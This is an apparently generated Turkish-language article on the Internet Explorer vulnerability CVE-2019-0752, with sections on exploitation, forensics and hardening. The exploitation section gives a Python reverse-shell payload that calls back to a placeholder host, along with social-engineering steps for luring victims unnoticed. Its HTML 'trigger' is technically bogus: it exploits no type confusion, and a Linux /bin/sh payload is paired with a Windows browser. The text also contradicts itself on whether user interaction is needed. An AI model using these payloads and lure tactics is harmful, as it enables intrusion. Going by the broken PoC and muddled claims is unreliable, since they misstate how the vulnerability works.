CVE-2019-0752: Microsoft Internet Explorer Type Confusion Vulnerability

Zorluk Seviyesi: Orta | Kaynak: CISA KEV

Zafiyet Analizi ve Giriş

CVE-2019-0752, Microsoft Internet Explorer'da bulunan bir tür karışıklık (type confusion) zafiyetidir. Bu zafiyet, harici bir kullanıcı tarafından kötü niyetli olarak istismar edilebilen bir uzaktan kod yürütme (remote code execution - RCE) açığına yol açar. Zafiyetin temelinde, scripting engine'in hafızadaki nesneleri işleme biçimindeki bir hatanın dayanması bulunmaktadır. Özellikle bu, kötü niyetli bir kullanıcının, hedef sistemde zararlı kod çalıştırmasına olanak tanır.

Zafiyetin ortaya çıktığı alan, Internet Explorer'ın JavaScript motoru tarafından yönetilen nesnelerin hafızada nasıl organize edildiğidir. Hafıza yönetimindeki bu hatalar, bir saldırgan tarafından manipüle edilerek sistemin üzerinde tam kontrol sağlanmasını mümkün kılar. Dolayısıyla, bu tür zafiyetler, büyük bir tehlikeye yol açar, çünkü bir kullanıcı yalnızca zararlı bir web sitesini ziyaret ederek veya kötü amaçlı bir dosyayı açarak mağdur edilebilir.

Gerçek dünyada bu zafiyetin etkileri oldukça geniş bir yelpazeye yayılmaktadır. Özellikle eğitim, sağlık ve finans sektörleri gibi hem kritik verilerin hem de kullanıcı bilgilerinin korunmasının hayati önem taşıdığı alanlarda, CVE-2019-0752’nin tetiklenmesi durumunda büyük sorunlar baş gösterebilir. Örneğin, bir eğitim kurumunun Internet Explorer üzerinden verilen çevrimiçi dersler esnasında bu zafiyetin istismar edilmesi, hem öğrencilerin verilerinin tehlikeye girmesine hem de eğitim kurumunun itibar kaybına yol açabilir. Benzer şekilde, finansal hizmetler sunan bir kuruluş, müşteri bilgilerini kaybetme riskine girebilir.

Bu zafiyetin çözümü, Microsoft’un zamanında yayınladığı güncellemelerle sağlanmıştır. Ancak, birçok kullanıcı güncellemeleri zamanında yapmamış olabilir. Bu da zafiyetin istismar edilmesi için açık kapı bırakır. İşletme bilgi güvenliği uzmanları, kurumsal ağlarını ve kullanıcı cihazlarını özellikle bu tür güncellemeler için sürekli denetlemelidir.

Zafiyetin kod tabanında, JavaScript motorunun nesneleri yönetimi ile ilgili alanlar incelendiğinde, belirli veri türlerinin yanlış değerlendirilmesi ve bellek erişim hataları mevcut olduğu gözlemlenmiştir. Kod analizi sırasında, bu tür hataların sık görüldüğü durumlar, programın beklenmeyen bir şekilde çökmesine veya hatalı kod parçalarının çalışmasına neden olabilir. Bu da, kritik sistemlerin ve uygulamaların güvenliğini tehlikeye atar.

Kısacası, CVE-2019-0752 türü zafiyetler, hem bireysel kullanıcılar için tehdit oluşturmakta hem de büyük ölçekli organizasyonlar için ciddi sonuçlar doğurabilmektedir. Herkesin bilgisayar güvenliği konusunda proaktif olması, güvenliğinin sağlandığı bir teknoloji ortamında çalışabilmek için önemlidir. Bunun için, kullanıcılarının her zaman güncel yazılım kullanması ve her türlü şüpheli etkinliği izlemeleri teşvik edilmelidir. Hedefe ulaşmak için kullanılan saldırı vektörleri çeşitlenmekte, dolayısıyla gelişmiş bir savunma katmanı oluşturmak kaçınılmaz olmaktadır.

Teknik Sömürü (Exploitation) ve PoC

CVE-2019-0752, Microsoft Internet Explorer'daki bir tür karmaşa (Type Confusion) zafiyetidir ve uzaktan kod yürütme (Remote Code Execution - RCE) yetenekleri sunar. Bu zafiyet, Internet Explorer'ın nesneleri hafızada ele alması sırasında ortaya çıkan bir hatadan kaynaklanmaktadır. Potansiyel olarak, bir saldırgan bu zafiyeti kullanarak hedef sistemde zararlı yazılımlar çalıştırabilir.

Sömürü Aşamaları

Bir zafiyetin sömürülmesi, öncelikle zafiyetin doğasını ve hedef sistemin yapılandırmasını anlamayı gerektirir. CVE-2019-0752'nin sömürülmesi için izlenecek adımları detaylandıralım:

Zafiyetin Analizi: İlk adım, hedef sistemin hangi versiyon Internet Explorer kullandığını belirlemektir. Zafiyet, özellikle IE 11 üzerinde etkili olduğu için, bu sürümle hedef almak faydalıdır.
Sosyal Mühendislik veya İkna Edici Araçların Kullanımı: Bir kullanıcıdan zararlı bir dosya veya bağlantıyı açmasını sağlamak çoğu zaman zafiyetin çalıştırılması için gereklidir. Bu nedenle, kullanıcıyı manipüle edebilmek için sosyal mühendislik teknikleri kullanılmalıdır.
Payload Hazırlığı: Hedef sistemin istismarına yönelik bir payload (yürütülecek zararlı kod) hazırlanmalıdır. Bu payload, örneğin bir geri dönüş kabuğu (reverse shell) veya sistem üzerinde tam yetki sağlayan bir kod olabilir. Aşağıda basit bir Python payload örneği verilmiştir:

import socket
import os
import subprocess

def reverse_shell():
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect(("hedef_ip_adresi", hedef_port))
    os.dup2(s.fileno(), 0) 
    os.dup2(s.fileno(), 1) 
    os.dup2(s.fileno(), 2) 
    p = subprocess.call(["/bin/sh", "-i"])

reverse_shell()

Etki Alanı ve HTTP İstekleri: Kullanıcının Internet Explorer'ında açtığı bir sayfaya özel tasarlanmış bir HTML dosyası yüklemelisiniz. Bu HTML dosyası, zafiyetin tetiklenmesini sağlayacak şekilde hazırlanmalıdır. Örneğin, bir <script> etiketi içinde payload'ınızı çağıran bir JavaScript kodu olabilir:

&lt;html&gt;
&lt;body&gt;
&lt;script&gt;
    var a = {};
    var b = a.__proto__;
    var c = {}; 
    var d = c.__proto__;
    b.constructor("YOUR_PAYLOAD_LINK_HERE")();
&lt;/script&gt;
&lt;/body&gt;
&lt;/html&gt;

Saldırı Aracının Yayılması: Hazırlanan dosya veya bağlantının, hedef kullanıcı tarafından açılmasını sağlamak için e-posta veya sosyal medya gibi kanallar kullanılabilir. Kullanıcının dikkatini çekmeden bu bağlantıyı iletmek, zafiyetin başarıyla sömürülmesi için kritik öneme sahiptir.
Zafiyetten Yararlanma: Kullanıcı dosyayı açtığında, Internet Explorer zafiyetin tetiklenmesiyle beraber hazırlanan payload'ı çalıştıracaktır. Bu aşamada, sistem üzerinde kontrol sağlamak için geri dönüş kabuğu veya hedeflenen diğer işlemler gerçekleştirilir.

Sonuç

CVE-2019-0752 zafiyeti, Internet Explorer kullanıcıları için ciddi bir tehdit oluşturmaktadır. Zafiyetin sömürülmesi sırasında sosyal mühendislik tekniklerinin yanı sıra etkili bir payload ve tetikleme yöntemi kullanmak, saldırının başarılı olmasında büyük rol oynamaktadır. "White Hat Hacker" perspektifinden bakıldığında, bu tür zafiyetlerin keşfi ve sistemlerde tespit edilmesi, kullanıcı güvenliğini artırmak için oldukça önemlidir. Bu bağlamda, sürekli güncellemelerin yapılması ve kullanıcıların bilinçlendirilmesi önem arz etmektedir.

Forensics (Adli Bilişim) ve Log Analizi

CVE-2019-0752, Microsoft Internet Explorer'ı etkileyen bir uzaktan kod yürütme (RCE) zafiyetidir. Bu tür zafiyetler, bir saldırganın kurbanın sisteminde kötü amaçlı kod çalıştırmasına olanak tanır ve genellikle hedef alınan kullanıcının etkileşimi olmaksızın gerçekleştirilebilir. Internet Explorer'ın bellek içindeki nesneleri işleme şekli, bu zafiyetin sebebidir ve uygun bir yönetim olmadan, saldırganlar hedef makine üzerinde tam yetkiye sahip olabilir.

Bir "White Hat Hacker" olarak, bu tür zafiyetleri tespit etmek ve analiz etmek için forensics (adli bilişim) ve log analizi önemli adımlardır. Siber güvenlik uzmanları, çeşitli log dosyalarında şüpheli aktiviteleri tespit edebilirler. SIEM (Security Information and Event Management) sistemleri, bu tür aktiviteleri parmak izi gibi tanımlamak için mükemmel bir araçtır. Aşağıda, CVE-2019-0752 zafiyetine yönelik bir saldırının izlerini nasıl anlayabileceğinizi ele alacağız.

Öncelikle, log dosyalarını incelediğinizde dikkat etmeniz gereken belirli imzalar bulunmaktadır. Özellikle aşağıdaki log türleri üzerinde yoğunlaşmalısınız:

Erişim Logları (Access Log): Kullanıcıların sistemde ne zaman, hangi IP adresinden ve hangi kaynaklara eriştiğini gösterir. Şüpheli IP'ler veya standart dışı erişim zamanları (örneğin, gece saatlerinde beklenmedik erişimler) dikkat çekici olabilir.
Hata Logları (Error Log): Uygulama veya sistem hatalarının kaydedildiği bu loglar, uygulamanın beklenmedik bir şekilde davranıp davranmadığını anlamanıza yardımcı olur. Internet Explorer ile ilgili hatalar, CVE-2019-0752 gibi zafiyetlerin izlerini taşıyabilir.
Olay Logları (Event Log): Windows ortamlarında sistem üzerindeki olayları ayrıntılı olarak kaydeden loglardır. Örneğin, bir dosyanın yaratılması veya değiştirilmesi gibi olaylar, beklenmedik aktiviteleri anlamanıza yardımcı olabilir.

Göz önünde bulundurulması gereken birkaç özel imza şunlardır:

Şüpheli Proses Oluşumları: Internet Explorer'a bağlı olarak çalışan beklenmedik veya şüpheli proses adları. Örneğin, "iexplore.exe" dışında görülen ve beklenmedik şekilde bellek tüketimi yaparak çalışmaya başlayan prosesler.
Belirli Kütüphane Yüklemeleri: Zafiyetin kullanılması durumunda sistemde beklenenin dışında kütüphanelerin yüklenmesi. Örneğin, "shell32.dll" veya "mshtml.dll" gibi kütüphaneler beklenmedik şekillerde bağlanmışsa, bu durum bir alarm tetikleyebilir.
Zamanlama ve Erişim Deseni: Normalde bir kuruluşa ait olmayan saat dilimlerinde yoğun erişimler, çoğu zaman kötü amaçlı bir aktivitenin habercisidir.

Elde edilen bu loglar üzerinde çalışırken, karşılaşabileceğiniz bazı durumları simüle edelim. Örneğin, bir şirketin kullanıcıları Internet Explorer üzerinden bir uygulamaya erişmeye çalıştıklarında, bu sistem üzerinde beklenmedik bir iş yükü oluşturuyorsa ve error logs'ta “Unhandled exception” (işlenmemiş istisna) hataları gözlemleniyorsa, bu durum zafiyetin bir işareti olabilir. Saldırgan, Internet Explorer'ın zafiyetinden yararlanarak, kullanıcıların dikkatini dağıtabilir ve sisteme zararlı yazılımlar yükleyebilir.

Sonuç olarak, CVE-2019-0752 gibi güvenlik zafiyetleri, detaylı ve dikkatli bir log analizi ile tespit edilebilir. SIEM sistemleri kullanarak, anomalileri, beklenmedik aktiviteleri ve belirli imzaları takip etmek, saldırganların amaçlarına ulaşmalarını engelleyebilir. Safe (güvenli) bir ortam sağlamak için sürekli izleme ve analiz, her siber güvenlik profesyonelinin önceliği olmalıdır.

Savunma ve Sıkılaştırma (Hardening)

CVE-2019-0752, Microsoft Internet Explorer (IE) içerisindeki bir tür karmaşa zafiyeti olarak bilinmektedir. Bu güvenlik açığı, uzaktan kod yürütme (Remote Code Execution - RCE) imkanı tanır; yani saldırganların hedef bilgisayarda kötü amaçlı kod çalıştırmasına olanak sağlar. Bu tür zafiyetler, genellikle kötü niyetli kullanıcılar tarafından kullanıldığında ciddi sonuçlar doğurabilir. Zira bu durumda saldırgan, hedef sistem üzerinde kontrol elde edebilir, verileri ele geçirebilir ya da sistemi iflas ettirebilir.

Savunma ve sıkılaştırma (hardening) süreçlerinin bu tür güvenlik açıklarına karşı nasıl gerçekleştirileceği oldukça önemlidir. İlk olarak, Microsoft tarafından sağlanan güncellemeleri ve güvenlik yamalarını uygulamak, bu tür zafiyetler için en temel önlemdir. Güncellemeler, güvenlik açıklarını kapatmak için sürekli olarak geliştirilir. Bu nedenle, Internet Explorer kullanıcılarının işletim sistemlerini ve tarayıcılarını güncel tutmaları şarttır. Özellikle, CVE-2019-0752’ye karşı çıkmadan önce, sistemin güncellemelerinin yapılmış olması gerekmektedir.

Sıkılaştırma (hardening) açısından dikkat edilmesi gereken bir diğer husus ise gereksiz özelliklerin kapatılmasıdır. Internet Explorer, bazı kullanıcılar için işlevsel olabilen birçok özelliğe sahiptir. Ancak bu özelliklerin bazıları, saldırganlar tarafından istismar edilebilir. Örneğin, ActiveX kontrollerinin ve JavaScript'in yalnızca güvenilir web sitelerinde çalışmasına izin vermek, potansiyel saldırı yüzeyini azaltır. Bunu gerçekleştirmek için, Internet Explorer'ın güvenlik ayarlarını gözden geçirmek ve sadece güvenilir kaynaklardan gelen içeriklere izin vermek gerekmektedir.

Firewall (güvenlik duvarı) ve WAF (Web Application Firewall - Web Uygulama Güvenlik Duvarı) kuralları da sıkılaştırma süreçlerinde önemli bir rol oynar. WAF kuralları sayesinde, tarayıcı veya web uygulamaları üzerindeki yanlışlıkla oluşturulabilecek istekler sınırlanabilir. Örneğin, WAF üzerinde belirli bir URL'ye ya da belirli bir tarayıcı özelliklerine yönelik gelen istekleri bir whitelist (beyaz liste) ile kısıtlamak mümkündür. Bu, kötü niyetli isteklerin önü kesilecektir. Aşağıda örnek bir WAF kuralı bulunmaktadır:

SecRule REQUEST_HEADERS:User-Agent ".*(MSIE|Trident).*" \
    "id:1000001,phase:1,t:none,deny,status:403"

Bu kural, Internet Explorer kullanıcılarından gelen tüm istekleri engeller şayet yanlış bir davranış saptanırsa. Ancak, bu yöntemin uygulanması geçici bir çözüm oluşturmakla birlikte, Internet Explorer geçmişe dönük bir güncelliğe sahip olmadığından, alternatif modern tarayıcıların kullanılmasını öneririz.

Ek olarak, ağ üzerinde izleme yapmak ve olası kötü amaçlı aktiviteleri tespit etmek için gerekli güvenlik çözümleri de devreye alınmalıdır. Bu noktada SIEM (Security Information and Event Management - Güvenlik Bilgisi ve Olay Yönetimi) çözümleri, merkezi bir noktadan olayları izlemek konusunda önemli avantajlar sunar. Gerçek zamanlı analiz yaparak anomali tespiti yapmalarına olanak tanır.

Sonuç olarak, bu tür güvenlik açıkları karşında öncelikli olarak güncellemelerin yapılması, gereksiz özelliklerin kapatılması ve etkili bir firewall ve WAF stratejisi oluşturulması gerekmektedir. Sistemlerin ve tarayıcıların güvenliğini sağlamak, sadece yazılımsal önlemlerle sınırlı kalmamalı; işletim sistemleri ve uygulamalar üzerindeki güvenlik ilkeleri olarak da sürekli güncellenmelidir. Bu şekilde, CVE-2019-0752 gibi zafiyetlerin etkisiz hale getirilmesi sağlanabilir ve daha güvenli bir dijital ortam oluşturulabilir.